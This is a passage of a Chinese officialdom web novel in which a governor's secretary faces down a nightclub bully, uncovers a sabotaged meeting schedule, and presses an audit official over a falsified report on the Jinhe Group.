“那你多管鸡毛闲事,跟你有什么关系!”韩东升瞪着李承,出言呵斥。 “今天这个闲事,我要说我管定了呢?”李承脸色也沉了下来。 “朝你妈的,给你脸了是吧?” 许梦的多次拒绝,已经让他憋了一肚子的火。 要不是领导看中了许梦,他早就不是那般客气的态度了。 “你他吗再骂一句!” 李承从座位上站起身,他一米八五的身高,比韩东升高出一头。 从气势上,也压了韩东升一头。 “骂你咋的,看着你个穷酸样,都他妈的什么年代了还穿阿迪达斯,你个土鳖! 我都不知道,保安是怎么让你进的夜总会大门。”韩东升气焰嚣张。 “我们有会员卡,怎么不能进?” 许梦从包里掏出会员卡,丢在桌子上,反击道。 “呵呵...还是蹭得女孩子的会员卡。” 韩东升冷笑一声,当看到会员卡是许梦的,韩东升更加肆无忌惮。 他伸出手指,在李承的胸口上点了点:“小子,还想在汉江混,就趁早滚远一点!” “拿开你的臭手!” 李承一把打掉韩东升的手,嗔怒道。 “尼玛的,给你脸不要脸是吧!” 韩东升直接抄起了桌子上的烟灰缸,颇有一副一言不合就动手的架势。 “想打人啊,来,往这打,我看你敢不敢!” 李承指着自己的脑袋,毫不退让。 他可不是吓大的。 “两位老板,给我个面子,不要吵。”就是这时,远处传来一道温和的声音。 李承闻声看去,是一张熟面孔。 牡丹会的老板,陈锋。 “陈总,你这夜总会,可真是什么烂货都能进了呀,行,我给你面子。” 看到陈锋过来,韩东升放下了烟灰缸。 韩东升在汉江也是有头有脸的人物,他开牡丹会和黄河夜总会这种专门服务于‘高端人士’的场所,人脉极其广泛,背后也有领导支持。 陈锋来了,这个面子他要给,在陈锋的生意里闹事,他也有几分忌惮。 “韩总,消消气,这是怎么回事呀?”陈锋笑呵呵的走到韩东升身边,问。 “检察院的赵书记想请许小姐喝杯酒,这小子没个眼力见。”韩东升压低声音,愤愤不平的道。 夜总会的灯光很暗,李承也是昨天在饭桌上跟陈锋见过一次面。 所以,他在第一时间并没有认出李承。 直到他走近后,将目光打量在李承脸上,这才认出李承。 “李秘书,是你呀,我们又见面了。” 对于韩东升的愤愤不平,陈锋直接视而不见,他主动向李承伸出手。 “嗯。” 李承握了一下陈锋的手,用鼻音应了一声:“陈总的生意,涉及面很广嘛。” “混口饭吃而已。”陈锋谦虚回答。 在李承和陈锋交涉的过程中,韩东升变得沉默了。 他不认识李承,但能让陈锋如此客气的人,绝对不简单。 “韩总,这两人是我朋友,赵书记想喝酒,我去陪他。” 陈锋打了一个圆场,以这种方式将这件事略过:“李秘书,你们慢慢聊,有什么吩咐随时喊我。” 陈锋这般客气,他的面子李承会给。 再说,李承走的仕途,出现个人纠纷是不能当面用权力和职位解决的。 恩怨都要放在秋后算账。 这也是为何官场人物,普遍都是笑面虎的原因。 “承哥,原来你跟陈锋也认识呀。”许梦好奇的说。 “昨天刚认识的,原来这里是他的产业,那就不足为奇了。” 李承端起酒杯,喝了一口:“喝完这杯酒我们就走吧。” “嗯,听你的。”许梦甜甜一笑。 两个人将杯中的酒喝完,准备起身离开时,韩东升再次返回,手里拎着两瓶红酒。 “李秘书,刚才的事情多有得罪,您别介意,我给您赔个不是。” 韩东升态度谦卑的道歉,并将两瓶红酒放在桌子上。 李承不认识这是牌子的红酒,但价格肯定不便宜。 “韩总,酒拿回去,像我这种穿阿迪达斯的土鳖,也不喝明白这种好酒。”李承摆了摆手,冷声拒绝。 “李秘书,我是有眼不识泰山,刚才赵书记已经训斥过我了,您要是不原谅我,我回去也不好交代,呵呵呵...” 韩东升谄媚的陪着笑脸。 当听到他提起赵金福时,李承将目光往了过去。 韩东升的行为固然可气,但最令李承讨厌的,是赵金福的行为。 如果不是赵金福的授意,韩东升也不会来骚扰许梦。 一个老秃顶,仗着手里有几分权力,就想去亵渎许梦这种年轻美女,太无耻。 而现在,对方知道了自己的身份,也没有任何表态,只是派了韩东升过来打发自己,丝毫没有半点诚意。 “没什么交代的,赵书记也不会在意我一个小秘书。” 李承轻哼一声,拉起许梦纤细的手腕:“我们走。” “李秘书,您消消气...” 身后,韩东升还是求情,李承直接置之不理。 今晚的账是李承结的,两杯鸡尾酒,将近二百块钱,着实让李承心疼。 “承哥,你今天太帅了,你要是不在,韩东升那个王八蛋说不定怎么刁难我呢。” 许梦看着李承的侧脸,表情里带着些许崇拜。 “这些人自己都不要脸,那就不能给他们脸。”李承冷声说。 “像我们这些新闻记者,看起来表面光鲜,其实面对的这种情况很多,台里好几个女同事,都在韩东升这种人的威逼利诱下折服了。” 许梦嘟着小嘴,说。 的确,对方开价那么高,李承要是个女孩子,说不定也会心动。 “那你呢?”李承随口问。 看似随意,李承也是想了解一下,许梦是否也是她们中的一份子。 他对许梦有意,自然少不了这种事情的关心。 “我当然没有,不然也不能当午夜主播。” 第14章 行程表的手脚 “有人针对你?”李承问。 “倒是没有,只是其他时间档的主播,要么是资源咖,要么就是跟某位领导交情匪浅。 台里节目有限,我能拿到午夜档栏目,也算是台领导的重视了。”许梦耸了耸肩,解释道。 “嗯。” 李承微微点头,没有多言。 许梦也很懂分寸,这是她与李承第一次正式的接触,即便心中有想过利用李承的关系换个黄金档主持,但她并没有提。 “承哥,如果有人在针对我,你会想帮我吗?”许梦柔声问。 “有适合机会,我会监督省台竞争公平性。”李承委婉的表达道。 “谢谢你,承哥。” “晚上还有节目要主持吧,我送你。”李承说。 “好啊。” 打了一辆车,李承将许梦送到省台,自己也回了家。 ..... 周末一晃而过。 周一早晨,李承早早去招待宾馆等待孟良德。 在门口等待了半个小时,孟良德的房门打开。 “老板。”李承微笑招呼。 “这么早就过来了。”孟良德说。 “我也刚到没多久。”李承回道。 “嗯。” 孟良德应了一声,朝着招待宾馆的食堂走去。 “小李,昨天省台的夜间新闻你看了吗?”路上,孟良德开口问。 昨天,李承给许梦提供的资料通过了省台和宣传部的审核,在夜间新闻成功播报。 播报前,许梦还特意给李承发了一个微信,想让他观看。 李承也是准时守候在电视机前,观看完整场。 不得不说,许梦的专业水平很高,编稿能力也强。 三分钟的时间,不仅讲清楚事件前因后果和经过,还把孟良德的形象拔得很高。 “看了。”李承道。 “那些照片还有经过,是你跟主持人讲的吧?”孟良德语气平淡的问。 “是,我觉得这件事值得让群众知晓,也让广大网友知道,我们东江省的领导很重视这件事。” 李承没有察觉到孟良德的情绪波动,不知道他对自己的擅作主张,是满意还是厌烦。 只能小心翼翼等待孟良德的答复。 “宣传部把稿子给我看过,是得到我批准才发表的。”孟良德语气依旧平静。 他的回答,也是变相认可了李承的做法。 “这件事做得不错,但是,以后做事之前还是先跟我请示一下。”孟良德道。 “知道了老板。” 陪孟良德吃过早饭,两人一同做专车赶往了省政府。 沏好茶水后,李承来到了综合一处。 “李秘书,早上好。” “早上好。” 见到李承进门,大家纷纷对他热情打起招呼。 李承也一一回应。 “李薇儿,孟省长今天的行程表给我一下。” 省长的行程安排,由综合一处进行统筹,李薇儿这个文员负责编辑打表。 再由李承这位专职秘书落实执行。 “行程表还没好。”李薇儿尴尬的说。 “省长都到了,行程表怎么还没出?”李承眉头轻皱。 按流程,在省长抵达工作之前,行程表就已经准备好了,这样才不会耽误省长一天的进程。 行程表延迟,听起来不是什么大事。 但是,一旦耽误了省长的工作,这就是一件很严肃的事情。 “本来是好了的,张处长说有需要修改的地方,这才没能及时打出来,很快,待会我给你送过去。”李薇儿说。 “哦。” 李承应了一声,目光扫到了李薇儿的电脑屏幕:“这版不是吗?” “不是,这是上一版。”李薇儿道。 “行,你尽快吧,省长等着呢。” 李承嘱咐一句后,回到了自己的办公室。 ‘咚咚咚...’ 大概过了五分钟,办公室门被敲响,李薇儿拿着行程表走了进来:“李秘书,给您。” 李承接过行程表:“行。” “承哥,上次你怎么走得那么急呀,怕我吃了你?” 李薇儿看了一眼孟省长紧闭的门后,压低身体,声音带着几分调侃。 “你那天喝多了。” 李承移开停留在她上身的目光,说。 “我酒量很好呢,才没有喝多。” 李薇儿嘟起小嘴,眼睛眯成一个月牙:“要不,晚上我们再喝一次,你不一定能喝的过我。” “算啦,赢了没成就感,输了反倒是丢人现眼。”李承摆了摆手,拒绝道。 “那好吧。” 李薇儿直起身体,无奈的说:“哪天承哥你想喝酒,记得找我,我随时等候哦。” 留下这句话,李薇儿准备离开办公室。 “等一下。” 在李薇儿即将开门离开,李承叫住了她,心中疑惑,他要问清楚。 “怎么了?”李薇儿转身问。 “你确定视频会议是十点四十吗?”李承拿着行程表,严肃的问。 “确定,没问题的。”李薇儿认真的道。 “我看你电脑上,之前的会议定在了十点半,怎么推迟了十分钟?”李承问。 “这个我也不清楚,可能是对方行程有变呗,这种事不是第一次发生了。”李薇儿解释道。 “哦,好。” 李薇儿离开后,李承看着面前的行程表,心里总是沉甸甸的。 感觉不对劲。 视频会议是北京来电,对方有变动,怎么会只推迟十分钟呢? 李承看了一眼时间,距离会议还有一个多小时,便将这件事暂时延缓。 他敲门走进孟良德的办公室,汇报行程:“省长,九点是省政府常务会议。” “嗯,我知道。” 孟良德看着手中文件,并没有抬头:“上午还有什么其他行程?” “十点四十还有一个北京的视频会议。”李承道。 “你联系一下审计厅,问问金河集团的审计结果出来了没有。”孟良德看了一眼时间,从椅子上站起身,准备去开常务会议。 “好的省长。” 孟良德去开常务会议,李承回到办公室,打电话联系了审计厅。 ‘嘟..嘟..嘟...’ “我是孟省长的秘书,李承。” 电话接通,李承直接报出了自己的身份。 “你好李秘书,请问有什么吩咐?” 第15章 险些犯错 “你好李秘书,请问有什么吩咐?”对方客气的问。 “省长问,金河集团的审计结果出来了吗?”李承道。 “审计局刚送来,我这就安排人送过去。”对方说。 “不用折腾,发传真过来就行。” “好。” 在一番沟通后,一份关于金河集团审计报表的传真发送过来。 李承打印出来,大致翻阅了一下就将其扔在桌子上。 在审计局工作这么多年,李承看了一眼就知道,这又是一份造假表。 这份报表没有值得看下来的必要。 李承拿起桌子上的电话,犹豫很久,还是给北京那边打了一通过去。 北京的视频会议也关键,不能出半点错。 而李承隐隐又觉得,这份修改版的行程表,存在一定的问题。 “您好,我是东江省省长孟良德的秘书,我想跟您确认一下,视频会议的时间。” 电话接通,李承客客气气的说。 这就是官场,对于下级单位,李承可以有些官威。 但对于上级领导单位的工作人员,李承就要保持恭敬和谦卑。 “时间跟你们省政府办公厅确定过了。”对方道。 “我看行程表的时间是十点四十,担心他们搞错了。”李承说出时间点。 涉及到领导的工作,就算对方有不耐烦,也不会隐瞒。 “什么十点四十,是十点半。”对方道。 “好的,那是综合处搞错了,谢谢您。”李承真挚的表达了感谢。 “嗯,下次细心一点。” 对方叮嘱了一句,直接挂断了电话。 放下电话,李承眉头皱得更深。 心中暗骂:果然是张俊这个老东西在搞鬼! 这是向北京汇报工作的视频会议,如果孟良德迟到十分钟,那么后果可想而知。 不谈迟到对孟良德的影响,这件事孟良德追究下来,首当其冲被问责的人就是李承。 其次才是综合一处。 虽说,到最后这件事情的始作俑者张俊也会被问责,但他的责任,是由整个综合一处来分担。 即便,孟良德到时候知道这份失职的原因,不怪李承,可办公厅这么多双眼睛看着呢。 一个秘书,上班的第二天就出现如此严重的失职。 如果秦海秘书长想要从中作梗的话,李承秘书的职位都可能面临危机。 李承知道,对方这么做,是要给自己一个教训。 毕竟,周五晚上的欢迎宴,秦海是亲自出席,给足了李承面子,还找李承谈了话,重点提到了刘宝林市长的问题。 周末,关于孟良德斥责刘宝林的事件就上了新闻,还有照片拍摄。 他们笨心思也会知道,这件事与李承有关。 李承这么做,就是选择与他们的立场背道而驰,他们想给李承教训和报复,也就合情理了。 李承没有擅自打扰省长开会,而是焦急的等待着。 直到十点十五分,省政府的常务会议还没有结束,李承终于等不及了。 ‘咚咚咚...’ 他只能选择贸然敲响会议室的门。 “进。” 里面传来孟良德的许可声。 李承推门而进,此时,秦秘书长正在做着某项汇报。 “省长,北京的会议是十点半,不是十点四十。” 李承快步走到孟良德的身边,在他耳边低声汇报情况。 孟良德听完汇报,看了一眼时间。 “今天的会议到这里先结束吧,秦秘书长,关于你刚才说的问题,等下到我办公室聊。” 孟良德自始至终,表情都没有变。 这就是领导,尽管消息突然,但依旧能做到风平浪静。 走出会议室,孟良德也没有追问缘由,快步朝着视频会议室走去。 一直跟随孟良德到视频会议室,看着腕表上十点二十七的时间,他长出一口气,这才离开。 一个半小时后,孟省长回到了办公室。 李承拿着水壶也茶叶也走了进来。 关于金河集团的审计报表,他已经提前放在了孟良德的办公桌上。 “行程表,怎么回事?”孟良德坐在椅子上,拧开保温杯喝了一口水,问。 “行程表时间是十点四十,是被修改过的,我给北京方面打了一通电话,才知道是十点半。” 李承简单明了的将事情经过讲述给孟良德。 并且将行程表双手递到孟良德的面前,给对方看。 孟良德的老练,一听便知道是怎么回事。 “哼,怪不得今天会议上,秦海的啰嗦话格外多,这是在拖延我的时间呀,连我的行程都敢做手脚,他们越来越不懂分寸了。”孟良德冷哼一声,眼神闪过一抹狠厉。 李承站在一旁,这种事情,他不能插嘴。 李承虽然不知道秦海哪来的勇气,身为省政府秘书长,敢跟省政府的一把手对着干。 但从古至今,宦官想要操控新皇帝的也不在少数。 只能说,秦海这么做,背后已经有利益驱使,还有他人支持。 “这个审计报表,你看过没有?” 孟良德拿起桌子上的报表,翻看的同时询问李承。 “看了。”李承道。 “怎么样?” “以我的经验来看,八成是一份造假材料。”李承如实说。 “怎么说?”孟良德问。 “我在审计局工作时,也参与过对金河集团的审计,内部是存在问题的。但这个审计报表,太干净了,干净到挑不出半点问题。” 李承上次参与对金河集团审计,已经是三年前的事情了。 这个期间,或许金河集团会整改。 但是,不可能改的这么干净,干净到没有瑕疵。 审计报表这东西是严苛的,李承从事审计多年,没有一家公司的真实报表是挑不出瑕疵的。 或多或少,或大或小,都会存在问题。 而金河集团曾经是一家问题公司,他的报表没有问题,就是最大的问题! “审计厅还是我的主管单位,就拿这种报表糊弄我,看来王前是一点没把我的话听进去。” 孟良德冷哼一声,将报表扔在了办公桌上。 “李秘书,审计局是你的老单位,下午,你亲自去审计局要一份真实报表过来。”孟良德吩咐道。 “好的省长。” 第16章 重回审计局 在食堂吃过午饭,李承休息了一会儿,掐着下午上班时间,赶往了审计局。 “李科,你怎么来了?” “现在不能叫李哥了,要叫李处了,哈哈哈。” 李承抵达后,所有见到李承的工作人员都热情的打起招呼。 “过来办些公务。” 李承也没有摆架子,像往常一样,回应他们的招呼。 “刘副局长来了吗?”李承问。 刘保国副局长,主管企业审计工作。 “还没呢,应该快到了。”前同事小王回答道。 “嗯,陆涛应该来了吧?”李承微微一笑,问。 “他来了。” 小王嘴角抿着笑,低声问李承:“李秘书,陆涛是不是犯错误了?” 他是综合计划处的,跟陆涛不在同一个办公机构。 但关于李承和陆涛之间的恩怨,他也有所听闻,现在李承当了孟省长的秘书,再次回来找陆涛。 小王知道,这次是有好戏看了。 “我只是找他要一份审计报表。”李承敷衍回答,朝着企业审计处走去。 “师父,你怎么来了。” 当他的脚步踏进审计处,陈思琪立马高兴了从座位上站起身,小跑来到李承身边。 “过来办点事。” 李承语气平淡,目光看向陆涛的办公室:“你们陆处在里面吗?” “在呢师父。”陈思琪说。 “叫他出来。” 李承坐到陈思琪的工位上,拿起桌子上的道德经,随意翻看起来。 在这期间,不少同事也开始交头接耳。 “陆涛这回有好果子吃了,前几天当自以为升了副处长,急于打压承哥,这回承哥当了省府大秘,回来肯定要他难堪。” “陆涛这种王八蛋就应该狠狠治他,这段时间他都给咱们欺负成啥样了,有点权力不知道怎么嘚瑟好了。” “等着吧,待会儿指定有好戏看。” “也可能李秘书这次来就是办公务,没你们想象那么严重。” 正在众人低声议论时,陆涛和陈思琪走出了办公室。 陆涛扫了一圈,在看到李承所在的位置,连忙加快脚步,走到了李承的面前:“李秘书,您找我?” 他的态度十分谦卑,甚至不敢去看李承的眼睛。 就像一个犯了错误的孩子,低着头。 李承甚至没有抬头去看陆涛,对于对方的招呼仿若未闻,依旧看着手中书籍。 而陆涛就乖乖站在原地,一声不敢吭。 他知道,这是李承给他的下马威,虽然心中不爽,可他没办法。 虽说李承还是正科,级别比他矮一头,可人家毕竟是省政府的‘二号首长’。 别说是他陆涛,就是副局长刘保国来了,李承不想搭理,也得乖乖站在这里等着。 李承看了将近十分钟,陆涛也足足站了十分钟。 这期间,陆涛的心情是紧张的,额头已经渗出了汗水,他不知道李承找他的目的,脑袋里只能不停的胡思乱想。 “把金河集团的审计报表拿过来。”李承将书籍合上,扫了陆涛一眼,问。 “李秘书,审计报表早上已经交到了审计厅。”陆涛解释道。 “交上去,你们这里就没有留底了吗?”李承冷声质问。 “有,有。” 陆涛连连点头,看向负责归档的小刘,催促道:“小刘,去给李秘书拿过来。” “我让你去拿。”李承严厉道。 “哦,好,我这就去。” 陆涛再次连连点头,快步去了归档室,将留底的审计报表找了出来。 “李秘书。” 陆涛将报表递给李承。 李承接过审计报表,并没有去看。 “陆副处长,关于金河集团的审计工作,是你负责的吧?”李承问。 “额...不是,这是蒋天负责的。”陆涛沉吟了两秒后,摇头否认。 “你知不知道,我今天是奉孟省长的吩咐,过来的?”李承问。 “知道。”陆涛低声应是。 “那你是在推卸责任,还是在欺骗省长啊!”李承将审计报表往桌子上一摔,厉声呵斥。 关于审计金河集团的工作,在半个月前就已经开展了。 那时候,李承还在审计局工作。 当初,这个审计工作,就是当时还是科长的陆涛负责。 可现在,他刚当上副处,就把这个锅甩给了接管他曾经工作的蒋天,简直是无耻。 “李秘书,我不敢,审计报表上有负责人签字的。”陆涛额头汗珠直流。 “你是把我当傻子了,对吗?”李承冷哼一声:“蒋天才接受这份工作几天!” “不,不是。” 陆涛擦了一把额头的汗。 “作为企业审计处的负责人,我问你,这个报表你看过没有?”李承问。 “看过。”陆涛回答。 “那你能不能确认这份报表的真实性?”李承审视着陆涛,给他挖了一个坑。 而陆涛也沉默了,他脸上的汗水流淌不止。 喉咙滚动,紧张到说不出话。 这份报表的真实性,陆涛和李承心里都有数,这就是一份造假报表。 可陆涛在李承的逼问下,却进退两难了。 如果今天李承不来,到时候,即便报表的问题被揪出来,受到惩罚的也是负责人蒋天。 他顶多算是监管不利。 可现在,李承问到了他的头上,就是将矛头刺向了他。 如果回答不能确认,那么,他还敢将这份报表交给审计厅,就是严重的工作失职。 李承可以直接联系审计厅对他进行追责。 如果回答能,那就是进入了一个更深的坑。 陆涛是急的焦头烂额,可任凭他想破脑袋,也想不到任何正确回答的方式。 “我在问你话,陆处长,你听不见吗?”李承眼神一凝,逼视着陆涛。 “我..我能确认。” 在逼问之下,陆涛只能硬着头皮回答。 “嗯。” 李承点了点头,目光看向办公室的其他人。 发现其他人都在用一种看戏的眼神,在观察这一幕。 李承挑选在办公室训话,也就是为了打击陆涛之前的张狂。 “小刘,这个审计报表,除了这一份,还有吗?”李承问归档室小刘。 “有的,李秘书。”小刘恭敬回答。 “嗯,那就行。” 李承微微一笑,伸手拿起陈思琪办公桌上的笔,丢在陆涛面前:“陆副处长,既然你能确认真实性,签个字吧。” 第17章 签字 “李秘书,这...” 陆涛擦了一把汗,不愿意签字。 签了这个字,他就要为这份审计报表负主要责任,他不敢。 “怎么了?既然你确定没问题,怎么不签字?”李承严肃质问。 这就是‘二号首长’的权力魅力。 秘书是首长的耳朵,关于外界的事情,首长大部分要从秘书的口中听说。 所以,其实即便陆涛不签字,李承想整治他也很容易。 等到孟良德追究报表责任时,李承只要在旁边补充一句,这个审计工作是由陆涛负责,蒋天接手时已经进入尾声。 那么,陆涛依旧是主要责任人。 秘书的一句话,往往就能觉得一个官员的仕途走向,这就是为什么他明明还是正科,却连厅级干部都要主动与他交好的原因。 “李秘书,您过来怎么也不提前打一声招呼。”正在这时,副局长刘保国匆匆赶了过来。 以前,李承要称呼他一声领导。 但现在,他已经把李承当做了领导,摆出一副下属的样子。 “刘副局,省长让我过来确认一下金河集团的审计报表,不是什么大事。” 刘保国跟陆涛的关系很亲密,陆涛能够升到副处,背后就有他的推波助澜。 但刘保国为人圆滑,工作期间,也从不与李承主动交恶。 因为他知道,李承跟市委副书记杨兆华关系良好,也就是这份圆滑,让李承对他的印象还算中规中矩。 “陆副处长,我的时间有限,这个字你签不签?”李承冷声催促。 “李秘书,这是签的什么字呀?”刘保国笑呵呵的问。 “刘局,这个审计报表已经有负责人签字了,但李秘书非要让我也签一个。” 当看到刘保国时,陆涛松了一口气。 在他看来,只要刘保国开口替他解围,李承不会不给面子。 “李秘书,审计报表签字没问题呀,我觉得没必要让陆涛签了吧。” 刘保国拿起审计报表看了一眼后面的责任人签字,开口解围。 “据我了解,关于金河集团的审计工作一直是陆涛在进行,蒋天接手时,已经进入了尾声。 毕竟是省长亲自要的报表,还是严谨一些好,别到时候错怪一些人。” 李承微微一笑,并不打算给刘保国面子。 他就是要整治陆涛,现在,李承抓住了合适的机会,怎么可能轻易放过。 “李秘书,审计就是蒋天负责的,他也签字了,这没问题呀,是不是啊蒋天!” 陆涛急了,他看向蒋天,眼神中带着威胁。 “我...是,是我负责的,李秘书。”蒋天沉吟两秒,不情不愿的应下。 日后他还要在审计局工作,陆涛他得罪不起,只能咬牙担下。 “李秘书,你看,蒋天都亲口说了,我就不用签了吧。”陆涛勉强挤出个笑脸,说。 “蒋天,我问你,如果这个报表作假,省长追究下来,你负责吗?”李承看向蒋天,严厉的说。 当被李承以这样的方式质问,蒋天表情尴尬起来。 得罪陆涛,顶多被穿小鞋,接下来的日子可能需要小心谨慎一些。 但如果被孟省长追究责任,可不是小心谨慎就能避免的了。 “李秘书,我是跟你有些恩怨,你至于要这样咄咄逼人吗?”陆涛终于安奈不住内心愤怒,道。 “呵呵呵....你觉得我是在咄咄逼人,在公报私仇吗?” 李承冷笑一声,眼神轻蔑的看着陆涛:“我告诉你,我不是针对你,我只是想找一个人,对这份审计报告负责,但我不想冤枉任何人,如果蒋天愿意负责,没问题。” “李秘书,我觉得....” 刘保国准备帮腔,却被李承打断:“刘局,你愿意为这份报表负责,也可以签字。” 被李承这么一说,刘保国闭上了嘴。 这次,所有人的目光都落在了蒋天的身上,等待他的选择。 “李秘书,我接受这项工作时,已经进入了尾声,我了解的其实并不多。” 蒋天在沉思片刻后,给出了最终回答。 只要不是傻子,都会选择自保。 “陆副处长,蒋天的话你也听见了,这回可以签字了吗?” 李承满意的笑了笑,对陆涛说:“我还是要提醒你一下,其实这个字,你签不签都一样,即便你不签,我也会如实向省长说明情况。” 陆涛闻言,脸色变得铁青。 他看向刘保国,还想让刘保国帮他说几句话。 “这个审计报表我不太了解,一直是陆涛全权负责,既然陆涛觉得没问题,那就签字吧,别影响李秘书的工作进度。” 刘保国没有再帮腔,而是对陆涛说。 自己的听头上司都发了话,陆涛也很清楚,这一次他躲不过去了。 “行,我签。”陆涛不情不愿的拿起笔,在这个审计报表上签了字。 “行,既然陆副处确保了这份报表的真实性,我回去也能跟省长交代了。” 李承拿起审计报表,站起身:“我先走了,你们继续办公。” 说完,李承离开了企业审计处。 而刘保国一直将李承送到出了审计局。 出了审计局的门,刘保国陪在李承的身边,说:“李秘书,陆涛这小子不懂事,我回头一定给他严肃处理。 今晚我摆酒,让他亲自给你道歉,直到李秘书你满意为止。” “刘副局,有什么话直说就行。”李承道。 “我就是想说,大家都是老同事了,这个审计报表要不就算了,你也在审计局工作这么多年,这里面有些事是没办法的避免的。” 刘保国还是想保护陆涛,因为陆涛和他之间,有一定的利益牵扯。 他不想让陆涛出事,也怕陆涛出事,牵扯到他自己。 “我不是在公报私仇,省长很重视这件事。” 李承搬出孟良德,反驳了刘保国:“道歉就没必要了,之前的事情都过去了。 刘副局,我劝你一句,工作和私人还是要分开的,陆涛工作如果没有问题,组织不会错怪他。 你不要搞到最后,把自己也搭进去。” 第18章 专项小组 省长办公室。 “省长,这是我向审计局要的报告,和厅里交上来的一样,负责人陆涛十分确定这项工作没问题,还签了字。” 李承将审计报表放在了孟良德的桌子面前:“不是厅里出了问题,是基层干部有嫌疑。” 李承这话,即是帮王前消除一些孟良德对他的坏印象,也在加剧孟良德对基层的重视程度。 “嗯,下午行程多吗?”孟良德没有去动那本审计报表,开口问。 “下午四点以后,没有工作安排。” 李承知道,领导询问行程,是想问有没有空余时间。 “叫王前下午四点来一趟我的办公室。”孟良德吩咐道。 “好的省长。” 李承能够清晰感受到,这一次,孟良德对于查办金河集团的决心很大。 这其中涉及到什么隐情,李承不知道。 但他想,这事与自己的老领导杨兆华也会有几分关系。 到现在为止,李承都还不清楚,为什么金河集团的王波,会突然实名举报杨兆华受贿。 里面一定藏着什么秘密! 回到秘书办公室,李承拿起桌子上的座机电话,拨给了王前。 ‘嘟..嘟..嘟...’ “你好,李秘书。” 电话接通,王前客气的主动跟李承打招呼。 “王副厅长,省长叫你下午四点来一趟。”李承将孟良德的旨意传达过去。 “好的,好的。” 王前应了两句,小心翼翼的问:“李秘书,孟省长找我,是关于金河集团审计的事情吗?” “对,跟这件事有关。”李承回答道。 “好,我知道了,谢谢李秘书。” 下午三点四十,王前就提前赶到了。 “李秘书,忙着呢。” 他敲门进入,笑呵呵的看着李承。 “王副厅长,您来得够早了,省长还在见客人。”李承道。 “没关系,主要想跟李秘书聊聊天。” 王前说着,拉开了他的行政夹克,从里面拿出一个茶叶盒:“我知道李秘书对茶很有见解,这是老家朋友送的,回头尝尝看,味道怎么样。” “王副厅长,你这太客气了。” “不值什么钱,我那个朋友家里就是种茶的,就是拿来跟李秘书分享一下。” 王前将茶叶放在桌子上,便转移了话题:“李秘书,我多嘴问一下,金河集团的审计报表,有什么问题吗?” “看着没什么问题。” 李承接了一杯水递给王前,坐在他的对面。 “哦,那还好。”王前松了一口气。 可李承接下来的话,又让他的心提到了嗓子里:“这个审计报表一点瑕疵都看不出来,做的是真好啊。” “呵呵...” 听到这话,王前脸上流露出尴尬之色:“李秘书原来说的是反话呀,我差点当真了。” “王副厅长,你也在汉江工作这么多年了,金河集团的情况,你应该也了解。 省长虽然刚到东江工作不久,但他的耳目还是很灵通的。”李承微微一笑,说。 “唉,看来今天又要少不了一顿批评了。” 王前叹了一口气,已经做好了挨训的心里准备。 “你也别太悲观,上午我去了一趟审计局,企业审计处的陆涛副处长非常肯定这份报表的真实性,我特意让他在上面签了字。 省长也知道,这是基层干部的原因。”李承意味深长的说道。 “谢谢李秘书。” 王前闻言,知道李承也在背后所有帮助,表达了感谢。 李承帮王前,一方面是觉得王前人还不错。 另一方面,也是在为自己日后发展做打算。 秦海和张俊都威胁过他,但他们有一句说的很对,省长终有调走的一日,应该趁着这个时间,交好一些人脉。 这些人脉,日后都会对李承的仕途有所帮助。 “时间差不多了,我进去看一下。” 跟王前聊了一会儿,李承看了一眼手腕的时间,起身敲门走进省长办公室。 “省长,审计厅的王副厅长已经等在门口了。” 孟良德已经会见完了客人,正坐在沙发上喝茶,李承进门提醒。 “嗯,让他进来吧。” 得到孟良德的许可,李承将王前喊了进来。 给他们两个人续好茶水,准备退出时,孟良德喊住了他:“李秘书,你不用出去。” “好的省长。” 孟良德留他在办公室旁听,是信任的一种表现。 并且,接下来的谈话,也与李承接下来的工作内容有关。 “王前同志,金河集团的审计报表,你在交给我之前,自己有没有看过?”孟良德抿了一口茶,问。 “看过。”王前回道。 “对这份报表,你满意吗?”孟良德问。 孟良德脸上挂着笑,可这笑容之下,藏着刀子。 “从报表本身数据来看,我是很满意的,至少证明,这不是一家问题公司,但是,从公司的风评来讲,我对这份报表其实是抱有怀疑态度的。 交上来之前,我也再三跟审计局确认过,他们保证了报表的真实性,我才敢上交。” 王前得到了李承的提醒,知道孟良德对这份报表存疑,他也就不敢坚持报表的真实性,而是将锅甩到审计局的头上。 “既然存疑,怎么不实地核查?”孟良德问。 “厅里工作繁忙,我也想过去核查,实在抽不开身。 厅里每个季度都会抽查,我已经将金河集团列入到名单之中,原本想着这个季度抽查工作时,去进行核实。” 王前的回答,可谓是滴水不漏。 将自身责任的问题,降到了最低。 “不用等,现在成立调查小组,去给我好好查一查这个金河集团,我会让李秘书进行监督。” 孟良德严肃的道。 “好。” 王前点头答应,小心翼翼的询问:“省长,您是不是掌握了一些消息?” 按理说,以孟良德的公务繁忙程度,基本无暇深究这些公司的审计报表。 可孟良德偏偏就对金河集团‘特殊关照’。 这让王前有些疑惑。 这是因为他还不清楚孟良德与杨兆华曾是老同学的关系。 孟良德放下茶杯,目光转向李承:“李秘书,我办公抽屉里有一沓信封,你拿过来!” 第19章 狡猾的金河集团 “这些都是金河集团的举报材料,你自己看看吧。” 孟良德接过李承递给他的信封后,直接扔在了王前的面前。 王前拿起信封,将里面的材料拿了出来,开始翻阅。 他越看,脸色越发的难堪。 “岂有此理,孟省长,我向你保证,一定亲自负责调查,如果情况属实,我一定把那些目无王法的家伙揪出来!” 王前将信封收了起来,摆出一副嫉恶如仇的模样,向孟良德保证。 “嗯,给李秘书也看看。”孟良德道。 王前将举报材料给到李承,李承拿起后,大致的扫了一眼。 这里面,有匿名举报,也有实名举报。 并且,主要问题来源在金河集团的子公司,金河粮业上。 这不禁让李承想起,上周五金河粮业的总经理会见孟良德一事。 李承并没有王前那么多慷慨激昂的表达,他看完之后,默默的将材料对折,重新塞回了信封中。 “这个专项调查小组,王前同志你来全权负责,务必查明真相。”孟良德严肃的说道。 “是,省长。” “李秘书,你是审计单位出身,监督工作交由你来负责。”孟良德对李承吩咐道。 “好的省长。” ..... 接下来的几天,李承除了每天服务孟良德的工作事宜外,偶尔也会去金河集团,监督一下审计工作。 孟良德亲自下令成立专项小组,王前自然不敢怠慢,亲自监督执行,调查的力度也很大。 “王副厅长,怎么样,查出什么没有?” 审计厅在金河集团征用了一个办公室,李承进入办公室,看着眉头紧锁的王前,询问道。 “还没有….难度比想象要大,敌人很狡猾呀。”王前摇了摇头。 “那些举报材料呢,总能查出来些吧?” 举报材料上清楚记载了金河集团存在的问题,按理说,只要跟着举报材料的线索查下去,不可能什么马脚都差不多。 “唉...” 